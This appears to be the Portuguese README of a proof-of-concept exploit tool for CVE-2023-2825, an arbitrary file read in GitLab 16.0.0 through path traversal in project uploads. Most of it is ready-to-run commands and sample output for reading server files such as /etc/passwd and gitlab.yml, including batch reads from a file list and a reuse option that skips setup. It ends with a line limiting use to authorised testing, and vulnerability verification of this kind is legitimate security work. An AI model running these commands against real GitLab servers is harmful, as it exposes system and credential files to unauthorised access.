
PoC para CVE-2023-2825: leitura automatizada de arquivos arbitrários no GitLab 16.0.0 via grupos públicos aninhados, traversal de upload de projeto, caminhos de upload reutilizáveis e saída CLI limpa.
Prova de conceito para CVE-2023-2825, uma vulnerabilidade de leitura arbitrária de arquivos no GitLab CE/EE 16.0.0.
O script faz login com uma conta GitLab válida, cria a estrutura necessária de grupos públicos aninhados, cria um projeto público, faz upload de um anexo e usa o comportamento vulnerável de path traversal do upload para ler um arquivo alvo do servidor GitLab.
Ele também suporta reutilizar um caminho de upload existente, para que não seja necessário criar novos grupos e projetos para cada leitura de arquivo.
Python 3.8+
pip install -r requirements.txt
Pacotes Python necessários:
beautifulsoup4
requests
urllib3
Valores entre colchetes angulares são placeholders. Substitua pelos seus próprios valores e não inclua os caracteres < ou >.
python3 cve_2023_2825.py \
--url <GITLAB_URL> \
--username <USERNAME> \
--password '<PASSWORD>' \
--file /etc/passwd
<GITLAB_URL> # Target GitLab base URL. Example: http://gitlab.local
<USERNAME> # Valid GitLab username.
<PASSWORD> # Valid GitLab password.
python3 cve_2023_2825.py \
--url http://gitlab.local \
--username alice \
--password 'Password123!' \
--file /etc/hosts
Exemplo de saída:
[2026-05-17T18:20:10Z] [*] Getting CSRF token
[2026-05-17T18:20:10Z] [+] CSRF token found
[2026-05-17T18:20:11Z] [*] Logging in as alice
[2026-05-17T18:20:11Z] [+] Login successful
[2026-05-17T18:20:12Z] [*] Creating 11 nested public groups
[2026-05-17T18:20:18Z] [+] Created group: A1B-11
[2026-05-17T18:20:19Z] [*] Creating public project
[2026-05-17T18:20:20Z] [+] Reusable upload path: /A1B-1/.../poc-abcd1234/uploads/<hash>/
[2026-05-17T18:20:20Z] [*] Reading file: /etc/hosts
[+] Content of /etc/hosts
127.0.0.1 localhost
Após uma execução bem-sucedida, o script exibe um caminho de upload reutilizável:
Reusable upload path: /A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/
Use com --reuse-path para pular login, criação de grupo, criação de projeto e upload:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Você também pode passar uma URL completa e omitir --url:
python3 cve_2023_2825.py \
--reuse-path 'http://gitlab.local/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--file /etc/hosts
Crie uma lista de arquivos:
cat > files.txt <<'EOF'
/etc/passwd
/etc/hosts
/var/opt/gitlab/gitlab-rails/etc/gitlab.yml
EOF
Execute:
python3 cve_2023_2825.py \
--url http://gitlab.local \
--reuse-path '/A1B-1/A1B-2/.../poc-abcd1234/uploads/0123456789abcdef/' \
--list files.txt
--groups <N>
Número de grupos públicos aninhados a serem criados. Padrão: 11
--depth <N>
Número de segmentos de traversal a serem usados. Padrão: 12
--reuse-path <PATH_OR_URL>
Diretório de upload de projeto existente. Ignora a configuração e lê arquivos diretamente.
--only-final
Oculta logs de progresso e exibe apenas os conteúdos dos arquivos.
--no-color
Desativa cores ANSI.
--debug
Exibe o caminho de traversal gerado para depuração.
--reuse-path sempre que possível para evitar a criação desnecessária de grupos e projetos.Esta PoC é destinada para testes de segurança autorizados, ambientes de laboratório e verificação de vulnerabilidades. Não a utilize contra sistemas sem permissão explícita.